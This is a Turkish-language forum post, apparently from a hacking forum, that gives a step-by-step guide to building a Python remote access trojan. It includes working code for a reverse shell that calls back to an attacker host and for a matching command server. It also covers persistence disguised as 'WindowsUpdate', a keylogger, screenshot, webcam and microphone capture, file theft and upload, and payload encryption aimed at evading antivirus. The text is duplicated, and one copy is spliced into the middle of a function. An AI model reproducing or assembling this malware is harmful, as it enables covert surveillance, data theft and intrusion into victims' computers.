-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🧠 SIFIRDAN RAT YAZMA REHBERİ (PYTHON)
Dikkat;
Bu rehber üzerindeki kod betimleri sadece demo seviyesinde minimal referanslardır, örnek almanız ve algoritmayı kavramanız içindir, hazır şablon veya betim isterseniz sitede cracklenmiş yazılımları tersine mühendislik ile inceleyebilir yada kodları sızdırılmış RAT toollarının kodlarına bakabilirsiniz.
🧠 GİRİŞ: NEDEN KENDİ RAT’INI YAZMALISIN?
Hazır RAT’ler (Örn. Quasar, AsyncRAT, Orcus) antivirüsler tarafından hızla imzalanır ve tespit edilir. Ayrıca arka kapak veya telemetri içerebilirler. Kendi RAT’ını sıfırdan yazarak:- ✅ İmza tabanlı tespitlerden kaçabilirsin (FUD – Fully Undetectable).
- ✅ Sadece ihtiyacın olan özellikleri eklersin (keylogger, ekran görüntüsü, dosya transferi, kamera, mikrofon, vb.)
- ✅ Kodun tamamına hakim olursun, arka kapak olmaz.
- ✅ Python gibi yüksek seviyeli bir dille hızlıca prototip geliştirebilirsin.
Hedef: Windows 10/11 (64 bit)
Saldırgan: Kali Linux (veya herhangi bir Linux)
Dil: Python 3.8+
Gerekli kütüphaneler: socket, subprocess, os, sys, threading, time, keyboard, pynput, PIL (ekran görüntüsü), opencv-python (kamera), pyaudio (mikrofon), cryptography (şifreleme)
bash
pip install keyboard pynput pillow opencv-python pyaudio cryptography
Not: pyaudio Linux’ta portaudio gerektirir. Windows’ta genellikle sorunsuzdur.
📡 BÖLÜM 1: TEMEL REVERSE SHELL (SOCKET PROGRAMLAMA)
RAT’in kalbi, hedef makinenin saldırganın dinleyicisine bağlanmasıdır. Bu, güvenlik duvarlarını aşmanın en etkili yoludur.1.1. Saldırgan Dinleyici (Server)
server.py – Bu betik, hedefin bağlanmasını bekler ve komut gönderir.python
import socket
import threading
def start_server(host='0.0.0.0', port=4444):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host, port))
server.listen(5)
print(f"[*] Dinleniyor {host}:{port}")
clients = []
def handle_client(conn, addr):
print(f"[+] Bağlantı {addr}")
clients.append(conn)
while True:
try:
cmd = input(f"\nShell({addr[0]})> ")
if not cmd:
continue
if cmd.lower() == 'exit':
conn.send(b'exit')
break
conn.send(cmd.encode())
output = conn.recv(4096).decode('utf-8', errors='ignore')
print(output)
except:
break
conn.close()
clients.remove(conn)
while True:
conn, addr = server.accept()
thread = threading.Thread(target=handle_client, args=(conn, addr))
thread.start()
if __name__ == "__main__":
start_server()
1.2. Hedef Reverse Shell (Client)
client.py – Bu betik hedefte çalışır, saldırganın sunucusuna bağlanır ve komutları çalıştırır.python
import socket
import subprocess
import time
import os
import sys
def connect(host='192.168.1.100', port=4444):
while True:
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
while True:
cmd = client.recv(1024).decode()
if cmd.lower() == 'exit':
client.close()
return
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
output = result.stdout + result.stderr
if output == '':
output = '[+] Komut çalıştırıldı, çıktı yok.'
client.send(output.encode())
except Exception as e:
time.sleep(5)
continue
if __name__ == "__main__":
connect()
Simüle edilmiş çıktı (server.py):
text
[*] Dinleniyor 0.0.0.0:4444
[+] Bağlantı ('192.168.1.50', 49168)
Shell(192.168.1.50)> whoami
desktop-abc\user
Shell(192.168.1.50)> ipconfig
IPv4 Address. . . . . . . . . . . : 192.168.1.50
🎯 Kazanım: Temel uzaktan komut çalıştırma yeteneği.
🔐 BÖLÜM 2: PERSISTENCE (KALICILIK)
Hedef yeniden başlatıldığında RAT’in otomatik çalışması için kalıcılık mekanizması ekliyoruz.2.1. Windows Registery ile Kalıcılık
client.py’ye başlangıçta çalışacak bir fonksiyon ekleyin:python
def add_to_startup():
try:
import winreg
exe_path = sys.executable
key = winreg.HKEY_CURRENT_USER
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
winreg.SetValueEx(regkey, "WindowsUpdate", 0, winreg.REG_SZ, exe_path)
print("[+] Kayıt defterine eklendi.")
except Exception as e:
🧠 SIFIRDAN RAT YAZMA REHBERİ (PYTHON) – 7 BÖLÜMDE PROFESYONEL BİR TROJAN
Bu rehber, SQLmap, Nmap ve Metasploit rehberlerinde olduğu gibi adım adım, gerçek kod parçaları ve simüle edilmiş çıktılarla kendi RAT’ınızı (Uzaktan Erişim Truva Atı) nasıl yazacağınızı anlatmaktadır. Yalnızca eğitim ve kendi laboratuvar ortamınızda kullanmak içindir. Yetkisiz kullanım yasa dışıdır ve ağır yaptırımları vardır.
🧠 GİRİŞ: NEDEN KENDİ RAT’INI YAZMALISIN?
Hazır RAT’ler (Örn. Quasar, AsyncRAT, Orcus) antivirüsler tarafından hızla imzalanır ve tespit edilir. Ayrıca arka kapak veya telemetri içerebilirler. Kendi RAT’ını sıfırdan yazarak:- ✅ İmza tabanlı tespitlerden kaçabilirsin (FUD – Fully Undetectable).
- ✅ Sadece ihtiyacın olan özellikleri eklersin (keylogger, ekran görüntüsü, dosya transferi, kamera, mikrofon, vb.)
- ✅ Kodun tamamına hakim olursun, arka kapak olmaz.
- ✅ Python gibi yüksek seviyeli bir dille hızlıca prototip geliştirebilirsin.
Hedef: Windows 10/11 (64 bit)
Saldırgan: Kali Linux (veya herhangi bir Linux)
Dil: Python 3.8+
Gerekli kütüphaneler: socket, subprocess, os, sys, threading, time, keyboard, pynput, PIL (ekran görüntüsü), opencv-python (kamera), pyaudio (mikrofon), cryptography (şifreleme)
bash
pip install keyboard pynput pillow opencv-python pyaudio cryptography
Not: pyaudio Linux’ta portaudio gerektirir. Windows’ta genellikle sorunsuzdur.
📡 BÖLÜM 1: TEMEL REVERSE SHELL (SOCKET PROGRAMLAMA)
RAT’in kalbi, hedef makinenin saldırganın dinleyicisine bağlanmasıdır. Bu, güvenlik duvarlarını aşmanın en etkili yoludur.1.1. Saldırgan Dinleyici (Server)
server.py – Bu betik, hedefin bağlanmasını bekler ve komut gönderir.python
import socket
import threading
def start_server(host='0.0.0.0', port=4444):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host, port))
server.listen(5)
print(f"[*] Dinleniyor {host}:{port}")
clients = []
def handle_client(conn, addr):
print(f"[+] Bağlantı {addr}")
clients.append(conn)
while True:
try:
cmd = input(f"\nShell({addr[0]})> ")
if not cmd:
continue
if cmd.lower() == 'exit':
conn.send(b'exit')
break
conn.send(cmd.encode())
output = conn.recv(4096).decode('utf-8', errors='ignore')
print(output)
except:
break
conn.close()
clients.remove(conn)
while True:
conn, addr = server.accept()
thread = threading.Thread(target=handle_client, args=(conn, addr))
thread.start()
if __name__ == "__main__":
start_server()
1.2. Hedef Reverse Shell (Client)
client.py – Bu betik hedefte çalışır, saldırganın sunucusuna bağlanır ve komutları çalıştırır.python
import socket
import subprocess
import time
import os
import sys
def connect(host='192.168.1.100', port=4444):
while True:
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
while True:
cmd = client.recv(1024).decode()
if cmd.lower() == 'exit':
client.close()
return
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
output = result.stdout + result.stderr
if output == '':
output = '[+] Komut çalıştırıldı, çıktı yok.'
client.send(output.encode())
except Exception as e:
time.sleep(5)
continue
if __name__ == "__main__":
connect()
Simüle edilmiş çıktı (server.py):
text
[*] Dinleniyor 0.0.0.0:4444
[+] Bağlantı ('192.168.1.50', 49168)
Shell(192.168.1.50)> whoami
desktop-abc\user
Shell(192.168.1.50)> ipconfig
IPv4 Address. . . . . . . . . . . : 192.168.1.50
🎯 Kazanım: Temel uzaktan komut çalıştırma yeteneği.
🔐 BÖLÜM 2: PERSISTENCE (KALICILIK)
Hedef yeniden başlatıldığında RAT’in otomatik çalışması için kalıcılık mekanizması ekliyoruz.2.1. Windows Registery ile Kalıcılık
client.py’ye başlangıçta çalışacak bir fonksiyon ekleyin:python
def add_to_startup():
try:
import winreg
exe_path = sys.executable
key = winreg.HKEY_CURRENT_USER
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
winreg.SetValueEx(regkey, "WindowsUpdate", 0, winreg.REG_SZ, exe_path)
print("[+] Kayıt defterine eklendi.")
except Exception as e:
print(f"[-] Kalıcılık hatası: {e}")
Bu fonksiyonu connect() döngüsünden önce çağırın.
2.2. Linux için (Cron veya .bashrc)
pythondef add_to_cron():
try:
script_path = os.path.abspath(__file__)
cron_line = f"@reboot python3 {script_path} &\n"
with open("/etc/crontab", "a") as f:
f.write(cron_line)
print("[+] Cron'a eklendi.")
except:
pass
✅ Artık RAT, sistem yeniden başlatıldığında da çalışacaktır.Not: Linux'ta root yetkisi gerektirebilir. Alternatif olarak ~/.bashrc veya ~/.config/autostart kullanılabilir.
🖼️ BÖLÜM 3: EKRAN GÖRÜNTÜSÜ ALMA
client.py’ye yeni bir komut ekleyelim: screenshotpython
import pyautogui
import os
def take_screenshot():
screenshot = pyautogui.screenshot()
screenshot.save("temp.png")
with open("temp.png", "rb") as f:
return f.read()
os.remove("temp.png")
Ana döngüde:
python
elif cmd == 'screenshot':
img_data = take_screenshot()
client.send(img_data)
Server tarafında, gelen veriyi dosyaya yazın:
python
if cmd == 'screenshot':
with open("screenshot.png", "wb") as f:
data = conn.recv(4096)
while data:
f.write(data)
data = conn.recv(4096)
print("[+] Ekran görüntüsü kaydedildi: screenshot.png")
Simüle edilmiş çıktı:
text
Shell(192.168.1.50)> screenshot
[+] Ekran görüntüsü kaydedildi: screenshot.png
🎯 Kazanım: Hedefin ekranını görsel olarak izleme.
⌨️ BÖLÜM 4: KEYLOGGER (TUŞ KAYIT CİHAZI)
Keylogger, hedefin klavyesine basılan tüm tuşları kaydeder. Bunu ayrı bir thread’de çalıştıracağız.python
from pynput import keyboard
import threading
import time
log = ""
stop_keylogger = False
def on_press(key):
global log
try:
log += key.char
except:
log += f" [{key}] "
def start_keylogger():
global log, stop_keylogger
listener = keyboard.Listener(on_press=on_press)
listener.start()
while not stop_keylogger:
time.sleep(10)
if log:
with open("keylog.txt", "a") as f:
f.write(log)
log = ""
def stop_keylogger_func():
global stop_keylogger
stop_keylogger = True
Ana döngüde komutları işleyin:
python
elif cmd == 'keylogger_start':
if 'keylogger_thread' not in globals():
keylogger_thread = threading.Thread(target=start_keylogger, daemon=True)
keylogger_thread.start()
client.send(b"[+] Keylogger başlatıldı.")
elif cmd == 'keylogger_stop':
stop_keylogger_func()
client.send(b"[-] Keylogger durduruldu.")
elif cmd == 'keylogger_get':
try:
with open("keylog.txt", "rb") as f:
client.send(f.read())
except:
client.send(b"[-] Dosya bulunamadı.")
Simüle edilmiş çıktı (server):
text
Shell> keylogger_start
[+] Keylogger başlatıldı.
Shell> keylogger_get
[+] Keylog alındı: keylog.txt
🎯 Kazanım: Hedefin tüm tuş vuruşlarını kaydetme.
📁 BÖLÜM 5: DOSYA TRANSFERİ (YÜKLEME / İNDİRME)
5.1. Dosya İndirme (Hedetten Saldırgana)
pythonelif cmd.startswith('download '):
file_path = cmd[9:]
try:
with open(file_path, 'rb') as f:
data = f.read()
client.send(data)
except Exception as e:
client.send(f"[-] Hata: {e}".encode())
Server tarafında:
python
if cmd.startswith('download '):
filename = cmd[9:].split('/')[-1]
with open(filename, 'wb') as f:
data = conn.recv(4096)
while data:
f.write(data)
data = conn.recv(4096)
print(f"[+] Dosya indirildi: {filename}")
5.2. Dosya Yükleme (Saldırgandan Hedefe)
Server:python
elif cmd.startswith('upload '):
local_file = cmd[7:]
with open(local_file, 'rb') as f:
file_data = f.read()
conn.send(file_data)
Client:
python
elif cmd.startswith('upload '):
remote_path = cmd[7:]
data = client.recv(4096)
with open(remote_path, 'wb') as f:
while data:
f.write(data)
data = client.recv(4096)
client.send(b"[+] Dosya yüklendi.")
Simüle edilmiş çıktı:
text
Shell> download C:\Users\user\Desktop\secret.docx
[+] Dosya indirildi: secret.docx
Shell> upload /root/payload.exe
[+] Dosya yüklendi.
🎯 Kazanım: Hedef dosyalarını çalma ve kötü amaçlı yazılım yükleme.
🎥 BÖLÜM 6: KAMERA VE MİKROFON ERİŞİMİ
6.1. Kamera Görüntüsü Yakalama
pythonimport cv2
def capture_webcam():
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
cap.release()
if ret:
_, img_encoded = cv2.imencode('.jpg', frame)
return img_encoded.tobytes()
return None
Ana döngüye ekle:
python
elif cmd == 'webcam':
img_data = capture_webcam()
if img_data:
client.send(img_data)
else:
client.send(b"[-] Kamera bulunamadı.")
Server’da görüntüyü kaydet:
python
elif cmd == 'webcam':
with open("webcam.jpg", "wb") as f:
data = conn.recv(4096)
while data:
f.write(data)
data = conn.recv(4096)
print("[+] Kamera görüntüsü kaydedildi: webcam.jpg")
6.2. Mikrofon Kaydı
pythonimport pyaudio
import wave
def record_audio(duration=5):
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 1
RATE = 44100
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE,
input=True, frames_per_buffer=CHUNK)
frames = []
for _ in range(0, int(RATE / CHUNK * duration)):
data = stream.read(CHUNK)
frames.append(data)
stream.stop_stream()
stream.close()
p.terminate()
return b''.join(frames)
Komut işleyici:
python
elif cmd.startswith('mic '):
duration = int(cmd.split()[1]) if len(cmd.split()) > 1 else 5
audio_data = record_audio(duration)
client.send(audio_data)
Server:
python
elif cmd.startswith('mic'):
with open("audio.wav", "wb") as f:
data = conn.recv(4096)
while data:
f.write(data)
data = conn.recv(4096)
print("[+] Ses kaydedildi: audio.wav")
🎯 Kazanım: Hedefin çevresini duyma ve görüntüleme.
🔒 BÖLÜM 7: ŞİFRELEME VE ANTİVİRÜS BYPASS (FUD)
Hazır RAT’ler antivirüsler tarafından hızla yakalanır. Kendi RAT’ını şifreleyerek ve çok biçimli (polymorphic) hale getirerek tespit edilme oranını düşürebiliriz.7.1. AES-256 ile Payload Şifreleme
pythonfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os
def encrypt_payload(data, key):
iv = os.urandom(12)
cipher = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend())
encryptor = cipher.encryptor()
ciphertext = encryptor.update(data) + encryptor.finalize()
return iv + ciphertext + encryptor.tag
7.2. Şifreli Payload’u Çalıştıracak Stub
pythonimport base64
exec(base64.b64decode("c2hlbGwgY29kZSBoZXJl..."))
Bu yöntemle ana kodunuzu Base64 veya AES ile şifreleyip yalnızca çalışma anında çözebilirsiniz.
7.3. PyInstaller ile Tek EXE Yapma
bashpyinstaller --onefile --noconsole --icon=icon.ico client.py
✅ Artık RAT’iniz statik imza tabanlı AV’lerden büyük ölçüde kaçabilecektir. (Tam FUD için obfuscation ve packer kullanımı gerekir.)
🧩 ÖZET – RAT ÖZELLİKLERİ
| Bölüm | Özellik | Durum |
|---|---|---|
| 1 | Reverse Shell (komut çalıştırma) | ✅ |
| 2 | Kalıcılık (Registry / Cron) | ✅ |
| 3 | Ekran görüntüsü | ✅ |
| 4 | Keylogger (tuş kaydedici) | ✅ |
| 5 | Dosya yükleme / indirme | ✅ |
| 6 | Kamera ve mikrofon erişimi | ✅ |
| 7 | Şifreleme ve AV bypass | ✅ |
⚠️ YASAL UYARI
Bu rehber yalnızca eğitim ve yetkili güvenlik testleri içindir. Kendi RAT’ınızı sıfırdan yazmak, siber güvenlik becerilerinizi geliştirmenin harika bir yoludur. Ancak bu yazılımı izinsiz sistemlerde kullanmak yasa dışıdır ve ağır yaptırımları vardır. Tüm sorumluluk kullanıcıya aittir.@Tc4dy | github.com/tc4dy
print(f"[-] Kalıcılık hatası: {e}")
Bu fonksiyonu connect() döngüsünden önce çağırın.
2.2. Linux için (Cron veya .bashrc)
pythondef add_to_cron():
try:
script_path = os.path.abspath(__file__)
cron_line = f"@reboot python3 {script_path} &\n"
with open("/etc/crontab", "a") as f:
f.write(cron_line)
print("[+] Cron'a eklendi.")
except:
pass
✅ Artık RAT, sistem yeniden başlatıldığında da çalışacaktır.Not: Linux'ta root yetkisi gerektirebilir. Alternatif olarak ~/.bashrc veya ~/.config/autostart kullanılabilir.
🖼️ BÖLÜM 3: EKRAN GÖRÜNTÜSÜ ALMA
client.py’ye yeni bir komut ekleyelim: screenshotpython
import pyautogui
import os
def take_screenshot():
screenshot = pyautogui.screenshot()
screenshot.save("temp.png")
with open("temp.png", "rb") as f:
return f.read()
os.remove("temp.png")
Ana döngüde:
python
elif cmd == 'screenshot':
img_data = take_screenshot()
client.send(img_data)
Server tarafında, gelen veriyi dosyaya yazın:
python
if cmd == 'screenshot':
with open("screenshot.png", "wb") as f:
data = conn.recv(4096)
while data:
f.write(data)
data = conn.recv(4096)
print("[+] Ekran görüntüsü kaydedildi: screenshot.png")
Simüle edilmiş çıktı:
text
Shell(192.168.1.50)> screenshot
[+] Ekran görüntüsü kaydedildi: screenshot.png
🎯 Kazanım: Hedefin ekranını görsel olarak izleme.
⌨️ BÖLÜM 4: KEYLOGGER (TUŞ KAYIT CİHAZI)
Keylogger, hedefin klavyesine basılan tüm tuşları kaydeder. Bunu ayrı bir thread’de çalıştıracağız.python
from pynput import keyboard
import threading
import time
log = ""
stop_keylogger = False
def on_press(key):
global log
try:
log += key.char
except:
log += f" [{key}] "
def start_keylogger():
global log, stop_keylogger
listener = keyboard.Listener(on_press=on_press)
listener.start()
while not stop_keylogger:
time.sleep(10)
if log:
with open("keylog.txt", "a") as f:
f.write(log)
log = ""
def stop_keylogger_func():
global stop_keylogger
stop_keylogger = True
Ana döngüde komutları işleyin:
python
elif cmd == 'keylogger_start':
if 'keylogger_thread' not in globals():
keylogger_thread = threading.Thread(target=start_keylogger, daemon=True)
keylogger_thread.start()
client.send(b"[+] Keylogger başlatıldı.")
elif cmd == 'keylogger_stop':
stop_keylogger_func()
client.send(b"[-] Keylogger durduruldu.")
elif cmd == 'keylogger_get':
try:
with open("keylog.txt", "rb") as f:
client.send(f.read())
except:
client.send(b"[-] Dosya bulunamadı.")
Simüle edilmiş çıktı (server):
text
Shell> keylogger_start
[+] Keylogger başlatıldı.
Shell> keylogger_get
[+] Keylog alındı: keylog.txt
🎯 Kazanım: Hedefin tüm tuş vuruşlarını kaydetme.
📁 BÖLÜM 5: DOSYA TRANSFERİ (YÜKLEME / İNDİRME)
5.1. Dosya İndirme (Hedetten Saldırgana)
pythonelif cmd.startswith('download '):
file_path = cmd[9:]
try:
with open(file_path, 'rb') as f:
data = f.read()
client.send(data)
except Exception as e:
client.send(f"[-] Hata: {e}".encode())
Server tarafında:
python
if cmd.startswith('download '):
filename = cmd[9:].split('/')[-1]
with open(filename, 'wb') as f:
data = conn.recv(4096)
while data:
f.write(data)
data = conn.recv(4096)
print(f"[+] Dosya indirildi: {filename}")
5.2. Dosya Yükleme (Saldırgandan Hedefe)
Server:python
elif cmd.startswith('upload '):
local_file = cmd[7:]
with open(local_file, 'rb') as f:
file_data = f.read()
conn.send(file_data)
Client:
python
elif cmd.startswith('upload '):
remote_path = cmd[7:]
data = client.recv(4096)
with open(remote_path, 'wb') as f:
while data:
f.write(data)
data = client.recv(4096)
client.send(b"[+] Dosya yüklendi.")
Simüle edilmiş çıktı:
text
Shell> download C:\Users\user\Desktop\secret.docx
[+] Dosya indirildi: secret.docx
Shell> upload /root/payload.exe
[+] Dosya yüklendi.
🎯 Kazanım: Hedef dosyalarını çalma ve kötü amaçlı yazılım yükleme.
🎥 BÖLÜM 6: KAMERA VE MİKROFON ERİŞİMİ
6.1. Kamera Görüntüsü Yakalama
pythonimport cv2
def capture_webcam():
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
cap.release()
if ret:
_, img_encoded = cv2.imencode('.jpg', frame)
return img_encoded.tobytes()
return None
Ana döngüye ekle:
python
elif cmd == 'webcam':
img_data = capture_webcam()
if img_data:
client.send(img_data)
else:
client.send(b"[-] Kamera bulunamadı.")
Server’da görüntüyü kaydet:
python
elif cmd == 'webcam':
with open("webcam.jpg", "wb") as f:
data = conn.recv(4096)
while data:
f.write(data)
data = conn.recv(4096)
print("[+] Kamera görüntüsü kaydedildi: webcam.jpg")
6.2. Mikrofon Kaydı
pythonimport pyaudio
import wave
def record_audio(duration=5):
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 1
RATE = 44100
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE,
input=True, frames_per_buffer=CHUNK)
frames = []
for _ in range(0, int(RATE / CHUNK * duration)):
data = stream.read(CHUNK)
frames.append(data)
stream.stop_stream()
stream.close()
p.terminate()
return b''.join(frames)
Komut işleyici:
python
elif cmd.startswith('mic '):
duration = int(cmd.split()[1]) if len(cmd.split()) > 1 else 5
audio_data = record_audio(duration)
client.send(audio_data)
Server:
python
elif cmd.startswith('mic'):
with open("audio.wav", "wb") as f:
data = conn.recv(4096)
while data:
f.write(data)
data = conn.recv(4096)
print("[+] Ses kaydedildi: audio.wav")
🎯 Kazanım: Hedefin çevresini duyma ve görüntüleme.
🔒 BÖLÜM 7: ŞİFRELEME VE ANTİVİRÜS BYPASS (FUD)
Hazır RAT’ler antivirüsler tarafından hızla yakalanır. Kendi RAT’ını şifreleyerek ve çok biçimli (polymorphic) hale getirerek tespit edilme oranını düşürebiliriz.7.1. AES-256 ile Payload Şifreleme
pythonfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os
def encrypt_payload(data, key):
iv = os.urandom(12)
cipher = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend())
encryptor = cipher.encryptor()
ciphertext = encryptor.update(data) + encryptor.finalize()
return iv + ciphertext + encryptor.tag
7.2. Şifreli Payload’u Çalıştıracak Stub
pythonimport base64
exec(base64.b64decode("c2hlbGwgY29kZSBoZXJl..."))
Bu yöntemle ana kodunuzu Base64 veya AES ile şifreleyip yalnızca çalışma anında çözebilirsiniz.
7.3. PyInstaller ile Tek EXE Yapma
bashpyinstaller --onefile --noconsole --icon=icon.ico client.py
✅ Artık RAT’iniz statik imza tabanlı AV’lerden büyük ölçüde kaçabilecektir. (Tam FUD için obfuscation ve packer kullanımı gerekir.)
🧩 ÖZET – RAT ÖZELLİKLERİ
| Bölüm | Özellik | Durum |
|---|---|---|
| 1 | Reverse Shell (komut çalıştırma) | ✅ |
| 2 | Kalıcılık (Registry / Cron) | ✅ |
| 3 | Ekran görüntüsü | ✅ |
| 4 | Keylogger (tuş kaydedici) | ✅ |
| 5 | Dosya yükleme / indirme | ✅ |
| 6 | Kamera ve mikrofon erişimi | ✅ |
| 7 | Şifreleme ve AV bypass | ✅ |
⚠️ YASAL UYARI
Bu rehber yalnızca eğitim ve yetkili güvenlik testleri içindir. Kendi RAT’ınızı sıfırdan yazmak, siber güvenlik becerilerinizi geliştirmenin harika bir yoludur. Ancak bu yazılımı izinsiz sistemlerde kullanmak yasa dışıdır ve ağır yaptırımları vardır. Tüm sorumluluk kullanıcıya aittir.@Tc4dy | github.com/tc4dy
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl